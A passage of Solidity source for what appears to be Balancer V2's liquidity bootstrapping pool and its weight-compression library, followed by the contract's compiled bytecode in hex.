uint256 private constant _MAX_LBP_TOKENS = 4;
// State variables
uint256 private immutable _totalTokens;
IERC20 internal immutable _token0;
IERC20 internal immutable _token1;
IERC20 internal immutable _token2;
IERC20 internal immutable _token3;
// All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will
// not change throughout its lifetime, and store the corresponding scaling factor for each at construction time.
// These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported.
uint256 internal immutable _scalingFactor0;
uint256 internal immutable _scalingFactor1;
uint256 internal immutable _scalingFactor2;
uint256 internal immutable _scalingFactor3;
// For gas optimization, store start/end weights and timestamps in one bytes32
// Start weights need to be high precision, since restarting the update resets them to "spot"
// values. Target end weights do not need as much precision.
// [ 32 bits | 32 bits | 64 bits | 124 bits | 3 bits | 1 bit ]
// [ end timestamp | start timestamp | 4x16 end weights | 4x31 start weights | not used | swap enabled ]
// |MSB LSB|
bytes32 private _poolState;
// Offsets for data elements in _poolState
uint256 private constant _SWAP_ENABLED_OFFSET = 0;
uint256 private constant _START_WEIGHT_OFFSET = 4;
uint256 private constant _END_WEIGHT_OFFSET = 128;
uint256 private constant _START_TIME_OFFSET = 192;
uint256 private constant _END_TIME_OFFSET = 224;
// Event declarations
event SwapEnabledSet(bool swapEnabled);
event GradualWeightUpdateScheduled(
uint256 startTime,
uint256 endTime,
uint256[] startWeights,
uint256[] endWeights
);
constructor(
IVault vault,
string memory name,
string memory symbol,
IERC20[] memory tokens,
uint256[] memory normalizedWeights,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner,
bool swapEnabledOnStart
)
BaseWeightedPool(
vault,
name,
symbol,
tokens,
new address[](tokens.length), // Pass the zero address: LBPs can't have asset managers
swapFeePercentage,
pauseWindowDuration,
bufferPeriodDuration,
owner
)
{
uint256 totalTokens = tokens.length;
InputHelpers.ensureInputLengthMatch(totalTokens, normalizedWeights.length);
_totalTokens = totalTokens;
// Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments
_token0 = tokens[0];
_token1 = tokens[1];
_token2 = totalTokens > 2 ? tokens[2] : IERC20(0);
_token3 = totalTokens > 3 ? tokens[3] : IERC20(0);
_scalingFactor0 = _computeScalingFactor(tokens[0]);
_scalingFactor1 = _computeScalingFactor(tokens[1]);
_scalingFactor2 = totalTokens > 2 ? _computeScalingFactor(tokens[2]) : 0;
_scalingFactor3 = totalTokens > 3 ? _computeScalingFactor(tokens[3]) : 0;
uint256 currentTime = block.timestamp;
_startGradualWeightChange(currentTime, currentTime, normalizedWeights, normalizedWeights);
// If false, the pool will start in the disabled state (prevents front-running the enable swaps transaction)
_setSwapEnabled(swapEnabledOnStart);
}
// External functions
/**
* @dev Tells whether swaps are enabled or not for the given pool.
*/
function getSwapEnabled() public view returns (bool) {
return _poolState.decodeBool(_SWAP_ENABLED_OFFSET);
}
/**
* @dev Return start time, end time, and endWeights as an array.
* Current weights should be retrieved via `getNormalizedWeights()`.
*/
function getGradualWeightUpdateParams()
external
view
returns (
uint256 startTime,
uint256 endTime,
uint256[] memory endWeights
)
{
// Load current pool state from storage
bytes32 poolState = _poolState;
startTime = poolState.decodeUint32(_START_TIME_OFFSET);
endTime = poolState.decodeUint32(_END_TIME_OFFSET);
uint256 totalTokens = _getTotalTokens();
endWeights = new uint256[](totalTokens);
for (uint256 i = 0; i < totalTokens; i++) {
endWeights[i] = poolState.decodeUint16(_END_WEIGHT_OFFSET + i * 16).uncompress16();
}
}
/**
* @dev Can pause/unpause trading
*/
function setSwapEnabled(bool swapEnabled) external authenticate whenNotPaused nonReentrant {
_setSwapEnabled(swapEnabled);
}
/**
* @dev Schedule a gradual weight change, from the current weights to the given endWeights,
* over startTime to endTime
*/
function updateWeightsGradually(
uint256 startTime,
uint256 endTime,
uint256[] memory endWeights
) external authenticate whenNotPaused nonReentrant {
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), endWeights.length);
// If the start time is in the past, "fast forward" to start now
// This avoids discontinuities in the weight curve. Otherwise, if you set the start/end times with
// only 10% of the period in the future, the weights would immediately jump 90%
uint256 currentTime = block.timestamp;
startTime = Math.max(currentTime, startTime);
_require(startTime <= endTime, Errors.GRADUAL_UPDATE_TIME_TRAVEL);
_startGradualWeightChange(startTime, endTime, _getNormalizedWeights(), endWeights);
}
// Internal functions
function _getNormalizedWeight(IERC20 token) internal view override returns (uint256) {
uint256 i;
// First, convert token address to a token index
// prettier-ignore
if (token == _token0) { i = 0; }
else if (token == _token1) { i = 1; }
else if (token == _token2) { i = 2; }
else if (token == _token3) { i = 3; }
else {
_revert(Errors.INVALID_TOKEN);
}
return _getNormalizedWeightByIndex(i, _poolState);
}
function _getNormalizedWeightByIndex(uint256 i, bytes32 poolState) internal view returns (uint256) {
uint256 startWeight = poolState.decodeUint31(_START_WEIGHT_OFFSET + i * 31).uncompress31();
uint256 endWeight = poolState.decodeUint16(_END_WEIGHT_OFFSET + i * 16).uncompress16();
uint256 pctProgress = _calculateWeightChangeProgress(poolState);
return _interpolateWeight(startWeight, endWeight, pctProgress);
}
function _getNormalizedWeights() internal view override returns (uint256[] memory) {
uint256 totalTokens = _getTotalTokens();
uint256[] memory normalizedWeights = new uint256[](totalTokens);
bytes32 poolState = _poolState;
// prettier-ignore
{
normalizedWeights[0] = _getNormalizedWeightByIndex(0, poolState);
normalizedWeights[1] = _getNormalizedWeightByIndex(1, poolState);
if (totalTokens == 2) return normalizedWeights;
normalizedWeights[2] = _getNormalizedWeightByIndex(2, poolState);
if (totalTokens == 3) return normalizedWeights;
normalizedWeights[3] = _getNormalizedWeightByIndex(3, poolState);
}
return normalizedWeights;
}
function _getNormalizedWeightsAndMaxWeightIndex()
internal
view
override
returns (uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex)
{
normalizedWeights = _getNormalizedWeights();
maxWeightTokenIndex = 0;
uint256 maxNormalizedWeight = normalizedWeights[0];
for (uint256 i = 1; i < normalizedWeights.length; i++) {
if (normalizedWeights[i] > maxNormalizedWeight) {
maxWeightTokenIndex = i;
maxNormalizedWeight = normalizedWeights[i];
}
}
}
// Pool callback functions
// Prevent any account other than the owner from joining the pool
function _onInitializePool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory scalingFactors,
bytes memory userData
) internal override returns (uint256, uint256[] memory) {
// Only the owner can initialize the pool
_require(sender == getOwner(), Errors.CALLER_IS_NOT_LBP_OWNER);
return super._onInitializePool(poolId, sender, recipient, scalingFactors, userData);
}
function _onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
override
returns (
uint256,
uint256[] memory,
uint256[] memory
)
{
// Only the owner can add liquidity; block public LPs
_require(sender == getOwner(), Errors.CALLER_IS_NOT_LBP_OWNER);
return
super._onJoinPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
}
// Swap overrides - revert unless swaps are enabled
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view override returns (uint256) {
_require(getSwapEnabled(), Errors.SWAPS_DISABLED);
return super._onSwapGivenIn(swapRequest, currentBalanceTokenIn, currentBalanceTokenOut);
}
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view override returns (uint256) {
_require(getSwapEnabled(), Errors.SWAPS_DISABLED);
return super._onSwapGivenOut(swapRequest, currentBalanceTokenIn, currentBalanceTokenOut);
}
/**
* @dev Extend ownerOnly functions to include the LBP control functions
*/
function _isOwnerOnlyAction(bytes32 actionId) internal view override returns (bool) {
return
(actionId == getActionId(LiquidityBootstrappingPool.setSwapEnabled.selector)) ||
(actionId == getActionId(LiquidityBootstrappingPool.updateWeightsGradually.selector)) ||
super._isOwnerOnlyAction(actionId);
}
// Private functions
/**
* @dev Returns a fixed-point number representing how far along the current weight change is, where 0 means the
* change has not yet started, and FixedPoint.ONE means it has fully completed.
*/
function _calculateWeightChangeProgress(bytes32 poolState) private view returns (uint256) {
uint256 currentTime = block.timestamp;
uint256 startTime = poolState.decodeUint32(_START_TIME_OFFSET);
uint256 endTime = poolState.decodeUint32(_END_TIME_OFFSET);
if (currentTime > endTime) {
return FixedPoint.ONE;
} else if (currentTime < startTime) {
return 0;
}
// No need for SafeMath as it was checked right above: endTime >= currentTime >= startTime
uint256 totalSeconds = endTime - startTime;
uint256 secondsElapsed = currentTime - startTime;
// In the degenerate case of a zero duration change, consider it completed (and avoid division by zero)
return totalSeconds == 0 ? FixedPoint.ONE : secondsElapsed.divDown(totalSeconds);
}
/**
* @dev When calling updateWeightsGradually again during an update, reset the start weights to the current weights,
* if necessary.
*/
function _startGradualWeightChange(
uint256 startTime,
uint256 endTime,
uint256[] memory startWeights,
uint256[] memory endWeights
) internal virtual {
bytes32 newPoolState = _poolState;
uint256 normalizedSum = 0;
for (uint256 i = 0; i < endWeights.length; i++) {
uint256 endWeight = endWeights[i];
_require(endWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT);
newPoolState = newPoolState
.insertUint31(startWeights[i].compress31(), _START_WEIGHT_OFFSET + i * 31)
.insertUint16(endWeight.compress16(), _END_WEIGHT_OFFSET + i * 16);
normalizedSum = normalizedSum.add(endWeight);
}
// Ensure that the normalized weights sum to ONE
_require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT);
_poolState = newPoolState.insertUint32(startTime, _START_TIME_OFFSET).insertUint32(endTime, _END_TIME_OFFSET);
emit GradualWeightUpdateScheduled(startTime, endTime, startWeights, endWeights);
}
function _interpolateWeight(
uint256 startWeight,
uint256 endWeight,
uint256 pctProgress
) private pure returns (uint256) {
if (pctProgress == 0 || startWeight == endWeight) return startWeight;
if (pctProgress >= FixedPoint.ONE) return endWeight;
if (startWeight > endWeight) {
uint256 weightDelta = pctProgress.mulDown(startWeight - endWeight);
return startWeight.sub(weightDelta);
} else {
uint256 weightDelta = pctProgress.mulDown(endWeight - startWeight);
return startWeight.add(weightDelta);
}
}
function _setSwapEnabled(bool swapEnabled) private {
_poolState = _poolState.insertBool(swapEnabled, _SWAP_ENABLED_OFFSET);
emit SwapEnabledSet(swapEnabled);
}
function _getMaxTokens() internal pure override returns (uint256) {
return _MAX_LBP_TOKENS;
}
function _getTotalTokens() internal view virtual override returns (uint256) {
return _totalTokens;
}
function _scalingFactor(IERC20 token) internal view virtual override returns (uint256) {
// prettier-ignore
if (token == _token0) { return _scalingFactor0; }
else if (token == _token1) { return _scalingFactor1; }
else if (token == _token2) { return _scalingFactor2; }
else if (token == _token3) { return _scalingFactor3; }
else {
_revert(Errors.INVALID_TOKEN);
}
}
function _scalingFactors() internal view virtual override returns (uint256[] memory) {
uint256 totalTokens = _getTotalTokens();
uint256[] memory scalingFactors = new uint256[](totalTokens);
// prettier-ignore
{
if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; }
if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; }
if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; }
if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; }
}
return scalingFactors;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
/**
* @dev Library for compressing and uncompresing numbers by using smaller types.
* All values are 18 decimal fixed-point numbers in the [0.0, 1.0] range,
* so heavier compression (fewer bits) results in fewer decimals.
*/
library WeightCompression {
uint256 private constant _UINT31_MAX = 2**(31) - 1;
using FixedPoint for uint256;
/**
* @dev Convert a 16-bit value to full FixedPoint
*/
function uncompress16(uint256 value) internal pure returns (uint256) {
return value.mulUp(FixedPoint.ONE).divUp(type(uint16).max);
}
/**
* @dev Compress a FixedPoint value to 16 bits
*/
function compress16(uint256 value) internal pure returns (uint256) {
return value.mulUp(type(uint16).max).divUp(FixedPoint.ONE);
}
/**
* @dev Convert a 31-bit value to full FixedPoint
*/
function uncompress31(uint256 value) internal pure returns (uint256) {
return value.mulUp(FixedPoint.ONE).divUp(_UINT31_MAX);
}
/**
* @dev Compress a FixedPoint value to 31 bits
*/
function compress31(uint256 value) internal pure returns (uint256) {
return value.mulUp(_UINT31_MAX).divUp(FixedPoint.ONE);
}
} | 0x608060405234801561001057600080fd5b50600436106102925760003560e01c806374f3b009116101605780639d2c110c116100d8578063d505accf1161008c578063dd62ed3e11610071578063dd62ed3e14610508578063e01af92c1461051b578063f89f27ed1461052e57610292565b8063d505accf146104e2578063d5c096c4146104f557610292565b8063a9059cbb116100bd578063a9059cbb146104bf578063aaabadc5146104d2578063c0ff1a15146104da57610292565b80639d2c110c14610499578063a457c2d7146104ac57610292565b806387ec68171161012f5780638d928af8116101145780638d928af81461048157806395d89b41146104895780639b02cdde1461049157610292565b806387ec681714610459578063893d20e81461046c57610292565b806374f3b009146103fb5780637beed2201461041c5780637ecebe0014610433578063851c1bb31461044657610292565b806338e9922e1161020e57806350dd6ed9116101c25780636028bfd4116101a75780636028bfd4146103bf578063679aefce146103e057806370a08231146103e857610292565b806350dd6ed9146103a457806355c67628146103b757610292565b806339509351116101f357806339509351146103765780633e5692051461038957806347bc4d921461039c57610292565b806338e9922e1461035b57806338fff2d01461036e57610292565b80631c0de0511161026557806323b872dd1161024a57806323b872dd1461032b578063313ce5671461033e5780633644e5151461035357610292565b80631c0de051146102ff5780631dd746ea1461031657610292565b806306fdde0314610297578063095ea7b3146102b557806316c38b3c146102d557806318160ddd146102ea575b600080fd5b61029f610536565b6040516102ac9190614ddb565b60405180910390f35b6102c86102c3366004614672565b6105eb565b6040516102ac9190614ce2565b6102e86102e3366004614769565b610602565b005b6102f2610616565b6040516102ac9190614d05565b61030761061c565b6040516102ac93929190614ced565b61031e610645565b6040516102ac9190614caa565b6102c86103393660046145bd565b610654565b6103466106e8565b6040516102ac9190614e57565b6102f26106f1565b6102e8610369366004614af5565b6106fb565b6102f2610714565b6102c8610384366004614672565b610738565b6102e8610397366004614b0d565b610773565b6102c86107da565b6102e86103b23660046148a0565b6107ea565b6102f2610808565b6103d26103cd3660046147a1565b610819565b6040516102ac929190614dee565b6102f2610850565b6102f26103f6366004614569565b61087b565b61040e6104093660046147a1565b61089a565b6040516102ac929190614cbd565b61042461093d565b6040516102ac93929190614e07565b6102f2610441366004614569565b6109fc565b6102f2610454366004614844565b610a17565b6103d26104673660046147a1565b610a69565b610474610a8f565b6040516102ac9190614c96565b610474610ab3565b61029f610ad7565b6102f2610b56565b6102f26104a73660046149f9565b610b5c565b6102c86104ba366004614672565b610c43565b6102c86104cd366004614672565b610c81565b610474610c8e565b6102f2610c98565b6102e86104f03660046145fd565b610d5d565b61040e6105033660046147a1565b610ea6565b6102f2610516366004614585565b610fcb565b6102e8610529366004614769565b610ff6565b61031e61101f565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b820191906000526020600020905b8154815290600101906020018083116105c357829003601f168201915b505050505090505b90565b60006105f83384846111cc565b5060015b92915050565b61060a611234565b6106138161127a565b50565b60025490565b6000806000610629611316565b159250610634611333565b915061063e611357565b9050909192565b606061064f61137b565b905090565b6000806106618533610fcb565b9050610685336001600160a01b038716148061067d5750838210155b61019e6114ec565b6106908585856114fa565b336001600160a01b038616148015906106c957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114155b156106db576106db85338584036111cc565b60019150505b9392505050565b60055460ff1690565b600061064f6115da565b610703611234565b61070b611677565b6106138161168c565b7ff33fd20b1f6e7d759d50fb0a8a6f800ae780ca4e0002000000000000000000ca90565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105f891859061076e90866110ca565b6111cc565b61077b611234565b610783611677565b61078b6116f7565b61079d610796611710565b8251611033565b426107a88185611734565b93506107b9838511156101466114ec565b6107cc84846107c661174b565b8561185f565b506107d5611974565b505050565b600b5460009061064f908261197b565b6107f2611234565b6107fa611677565b6108048282611985565b5050565b60085460009061064f9060c0611a9d565b6000606061082f865161082a611710565b611033565b61084489898989898989611aab611b7b611bdc565b97509795505050505050565b600061064f61085d610616565b610875610868610c98565b610870611710565b611d6c565b90611d86565b6001600160a01b0381166000908152602081905260409020545b919050565b606080886108c46108a9610ab3565b6001600160a01b0316336001600160a01b03161460cd6114ec565b6108d96108cf610714565b82146101f46114ec565b60606108e361137b565b90506108ef8882611dce565b60006060806109048e8e8e8e8e8e8a8f611aab565b9250925092506109148d84611e2f565b61091e8285611b7b565b6109288185611b7b565b909550935050505b5097509795505050505050565b600b5460009081906060906109538160c0611e39565b93506109608160e0611e39565b9250600061096c611710565b90508067ffffffffffffffff8111801561098557600080fd5b506040519080825280602002602001820160405280156109af578160200160208202803683370190505b50925060005b818110156109f4576109d56109d08460806010850201611e43565b611e4b565b8482815181106109e157fe5b60209081029190910101526001016109b5565b505050909192565b6001600160a01b031660009081526006602052604090205490565b60007f000000000000000000000000751a0bc0e3f75b38e01cf25bfce7ff36de1c87de82604051602001610a4c929190614c20565b604051602081830303815290604052805190602001209050919050565b60006060610a7a865161082a611710565b61084489898989898989611e65611eb5611bdc565b7f000000000000000000000000432d4951dc62139614dcba122f1b73d618fdf31290565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b60095490565b600080610b6c8560200151611f16565b90506000610b7d8660400151611f16565b9050600086516001811115610b8e57fe5b1415610bf457610ba186606001516120a7565b6060870152610bb085836120c8565b9450610bbc84826120c8565b9350610bcc8660600151836120c8565b60608701526000610bde8787876120d4565b9050610bea81836120fc565b93505050506106e1565b610bfe85836120c8565b9450610c0a84826120c8565b9350610c1a8660600151826120c8565b60608701526000610c2c878787612108565b9050610c388184612120565b9050610bea8161212c565b600080610c503385610fcb565b9050808310610c6a57610c65338560006111cc565b610c77565b610c7733858584036111cc565b5060019392505050565b60006105f83384846114fa565b600061064f612152565b60006060610ca4610ab3565b6001600160a01b031663f94d4668610cba610714565b6040518263ffffffff1660e01b8152600401610cd69190614d05565b60006040518083038186803b158015610cee57600080fd5b505afa158015610d02573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d2a919081019061469d565b50915050610d3f81610d3a61137b565b611dce565b6060610d496121cc565b509050610d56818361224a565b9250505090565b610d6b8442111560d16114ec565b6001600160a01b0387166000908152600660209081526040808320549051909291610dc2917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9188918d9101614d2d565b6040516020818303038152906040528051906020012090506000610de5826122bc565b9050600060018288888860405160008152602001604052604051610e0c9493929190614dbd565b6020604051602081039080840390855afa158015610e2e573d6000803e3d6000fd5b5050604051601f1901519150610e7090506001600160a01b03821615801590610e6857508b6001600160a01b0316826001600160a01b0316145b6101f86114ec565b6001600160a01b038b166000908152600660205260409020600185019055610e998b8b8b6111cc565b5050505050505050505050565b60608088610eb56108a9610ab3565b610ec06108cf610714565b6060610eca61137b565b9050610ed4610616565b610f7b5760006060610ee98d8d8d868b6122d8565b91509150610efe620f424083101560cc6114ec565b610f0c6000620f424061231e565b610f1b8b620f4240840361231e565b610f258184611eb5565b80610f2e611710565b67ffffffffffffffff81118015610f4457600080fd5b50604051908082528060200260200182016040528015610f6e578160200160208202803683370190505b5095509550505050610930565b610f858882611dce565b6000606080610f9a8e8e8e8e8e8e8a8f611e65565b925092509250610faa8c8461231e565b610fb48285611eb5565b610fbe8185611b7b565b9095509350610930915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610ffe611234565b611006611677565b61100e6116f7565b61101781612328565b610613611974565b606061064f61174b565b806108048161236a565b61080481831460676114ec565b67ffffffffffffffff811b1992909216911b1790565b60006110668383111560016114ec565b50900390565b60006105fc670de0b6b3a76400006110868461ffff611115565b90611181565b60006105fc670de0b6b3a764000061108684637fffffff611115565b637fffffff811b1992909216911b1790565b61ffff811b1992909216911b1790565b60008282016106e184821015836114ec565b63ffffffff811b1992909216911b1790565b60006001821b1984168284611104576000611107565b60015b60ff16901b17949350505050565b600082820261113984158061113257508385838161112f57fe5b04145b60036114ec565b806111485760009150506105fc565b670de0b6b3a76400007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b046001019150506105fc565b600061119082151560046114ec565b8261119d575060006105fc565b670de0b6b3a7640000838102906111c0908583816111b757fe5b041460056114ec565b82600182038161117557fe5b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611227908590614d05565b60405180910390a3505050565b60006112636000357fffffffff0000000000000000000000000000000000000000000000000000000016610a17565b905061061361127282336123e3565b6101916114ec565b801561129a5761129561128b611333565b42106101936114ec565b6112af565b6112af6112a5611357565b42106101a96114ec565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168215151790556040517f9e3a5e37224532dea67b89face185703738a228a6e8a23dee546960180d3be649061130b908390614ce2565b60405180910390a150565b6000611320611357565b42118061064f57505060075460ff161590565b7f000000000000000000000000000000000000000000000000000000006198c92390565b7f000000000000000000000000000000000000000000000000000000006198c92390565b60606000611387611710565b905060608167ffffffffffffffff811180156113a257600080fd5b506040519080825280602002602001820160405280156113cc578160200160208202803683370190505b5090508115611414577f0000000000000000000000000000000000000000000000000de0b6b3a76400008160008151811061140357fe5b60200260200101818152505061141d565b91506105e89050565b6001821115611414577f000000000000000000000000000000000000000c9f2c9cd04674edea400000008160018151811061145457fe5b6020026020010181815250506002821115611414577f00000000000000000000000000000000000000000000000000000000000000008160028151811061149757fe5b6020026020010181815250506003821115611414577f0000000000000000000000000000000000000000000000000000000000000000816003815181106114da57fe5b60200260200101818152505091505090565b8161080457610804816124d3565b6115116001600160a01b03841615156101986114ec565b6115286001600160a01b03831615156101996114ec565b6115338383836107d5565b6001600160a01b03831660009081526020819052604090205461155990826101a0612540565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461158890826110ca565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611227908590614d05565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f729ac1509a1dcf30e39b5b3cbf4ba9ed12e8d4cc7a102905f89402f665f8f9a57fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6611647612556565b3060405160200161165c959493929190614d61565b60405160208183030381529060405280519060200120905090565b61168a611682611316565b6101926114ec565b565b61169f64e8d4a5100082101560cb6114ec565b6116b567016345785d8a000082111560ca6114ec565b6008546116c4908260c0611040565b6008556040517fa9ba3ffe0b6c366b81232caab38605a0699ad5398d6cce76f91ee809e322dafc9061130b908390614d05565b6117096002600a5414156101906114ec565b6002600a55565b7f000000000000000000000000000000000000000000000000000000000000000290565b60008183101561174457816106e1565b5090919050565b60606000611757611710565b905060608167ffffffffffffffff8111801561177257600080fd5b5060405190808252806020026020018201604052801561179c578160200160208202803683370190505b50600b549091506117ae60008261255a565b826000815181106117bb57fe5b6020026020010181815250506117d260018261255a565b826001815181106117df57fe5b60200260200101818152505082600214156117fe575091506105e89050565b61180960028261255a565b8260028151811061181657fe5b6020026020010181815250508260031415611835575091506105e89050565b61184060038261255a565b8260038151811061184d57fe5b60209081029190910101525091505090565b600b546000805b83518110156118fb57600084828151811061187d57fe5b6020026020010151905061189d662386f26fc1000082101561012e6114ec565b6118e46118a98261106c565b836010026080016118dd6118cf8a87815181106118c257fe5b602002602001015161108c565b88906004601f8902016110a8565b91906110ba565b93506118f083826110ca565b925050600101611866565b50611912670de0b6b3a764000082146101346114ec565b61192b8560e0611924858a60c06110dc565b91906110dc565b600b556040517f0f3631f9dab08169d1db21c6dc5f32536fb2b0a6b9bb5330d71c52132f968be090611964908890889088908890614e26565b60405180910390a1505050505050565b6001600a55565b1c60019081161490565b600061198f610714565b9050600061199b610ab3565b6001600160a01b031663b05f8e4883866040518363ffffffff1660e01b81526004016119c8929190614da6565b60806040518083038186803b1580156119e057600080fd5b505afa1580156119f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a189190614b5b565b6040517f18e736d40000000000000000000000000000000000000000000000000000000081529094506001600160a01b03851693506318e736d49250611a65915085908790600401614d8d565b600060405180830381600087803b158015611a7f57600080fd5b505af1158015611a93573d6000803e3d6000fd5b5050505050505050565b1c67ffffffffffffffff1690565b600060608060606000611abc6121cc565b91509150611ac8611316565b15611b00576000611ad9838c61224a565b9050611aeb8b8484600954858e6125b0565b9350611afa8b8561105661265f565b50611b4c565b611b08611710565b67ffffffffffffffff81118015611b1e57600080fd5b50604051908082528060200260200182016040528015611b48578160200160208202803683370190505b5092505b611b588a8389896126ca565b9095509350611b688a8584612739565b6009555050985098509895505050505050565b60005b611b86611710565b8110156107d557611bbd838281518110611b9c57fe5b6020026020010151838381518110611bb057fe5b6020026020010151611d86565b838281518110611bc957fe5b6020908102919091010152600101611b7e565b333014611ccb576000306001600160a01b0316600036604051611c00929190614c50565b6000604051808303816000865af19150503d8060008114611c3d576040519150601f19603f3d011682016040523d82523d6000602084013e611c42565b606091505b505090508060008114611c5157fe5b60046000803e6000517fffffffff00000000000000000000000000000000000000000000000000000000167f43adbafb000000000000000000000000000000000000000000000000000000008114611cad573d6000803e3d6000fd5b506020600460003e604060205260243d03602460403e601c3d016000f35b6060611cd561137b565b9050611ce18782611dce565b60006060611cf98c8c8c8c8c8c898d8d63ffffffff16565b5091509150611d0c81848663ffffffff16565b8051601f1982018390526343adbafb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08301526020027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdc82016044820181fd5b60008282026106e184158061113257508385838161112f57fe5b6000611d9582151560046114ec565b82611da2575060006105fc565b670de0b6b3a764000083810290611dbc908583816111b757fe5b828181611dc557fe5b049150506105fc565b60005b611dd9611710565b8110156107d557611e10838281518110611def57fe5b6020026020010151838381518110611e0357fe5b6020026020010151612752565b838281518110611e1c57fe5b6020908102919091010152600101611dd1565b610804828261277e565b1c63ffffffff1690565b1c61ffff1690565b60006105fc61ffff61108684670de0b6b3a7640000611115565b6000606080611e91611e75610a8f565b6001600160a01b03168b6001600160a01b0316146101486114ec565b611ea18b8b8b8b8b8b8b8b61283a565b925092509250985098509895505050505050565b60005b611ec0611710565b8110156107d557611ef7838281518110611ed657fe5b6020026020010151838381518110611eea57fe5b6020026020010151611181565b838281518110611f0357fe5b6020908102919091010152600101611eb8565b60007f0000000000000000000000008987a07ba83607a66c7351266e771fb865c9ca6c6001600160a01b0316826001600160a01b03161415611f7957507f0000000000000000000000000000000000000000000000000de0b6b3a7640000610895565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b0316826001600160a01b03161415611fda57507f000000000000000000000000000000000000000c9f2c9cd04674edea40000000610895565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561203b57507f0000000000000000000000000000000000000000000000000000000000000000610895565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561209c57507f0000000000000000000000000000000000000000000000000000000000000000610895565b6108956101356124d3565b6000806120bc6120b5610808565b8490611115565b90506106e18382611056565b60006106e18383612752565b60006120e96120e16107da565b6101476114ec565b6120f48484846128c0565b949350505050565b60006106e18383611d86565b60006121156120e16107da565b6120f48484846128f3565b60006106e18383611181565b60006105fc61214b61213c610808565b670de0b6b3a764000090611056565b8390611181565b600061215c610ab3565b6001600160a01b031663aaabadc56040518163ffffffff1660e01b815260040160206040518083038186803b15801561219457600080fd5b505afa1580156121a8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064f9190614884565b606060006121d861174b565b9150600090506000826000815181106121ed57fe5b602002602001015190506000600190505b8351811015612244578184828151811061221457fe5b6020026020010151111561223c5780925083818151811061223157fe5b602002602001015191505b6001016121fe565b50509091565b670de0b6b3a764000060005b83518110156122ac576122a261229b85838151811061227157fe5b602002602001015185848151811061228557fe5b602002602001015161292690919063ffffffff16565b8390612752565b9150600101612256565b506105fc600082116101376114ec565b60006122c66115da565b82604051602001610a4c929190614c60565b600060606123036122e7610a8f565b6001600160a01b0316876001600160a01b0316146101486114ec565b6123108787878787612975565b915091509550959350505050565b6108048282612a09565b600b54612337908260006110ee565b600b556040517f5a9e84f78f7957cb4ed7478eb0fcad35ee4ecbe2e0f298420b28a3955392573f9061130b908390614ce2565b60028151101561237957610613565b60008160008151811061238857fe5b602002602001015190506000600190505b82518110156107d55760008382815181106123b057fe5b602002602001015190506123d9816001600160a01b0316846001600160a01b03161060656114ec565b9150600101612399565b600073ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1b612402610a8f565b6001600160a01b03161415801561241d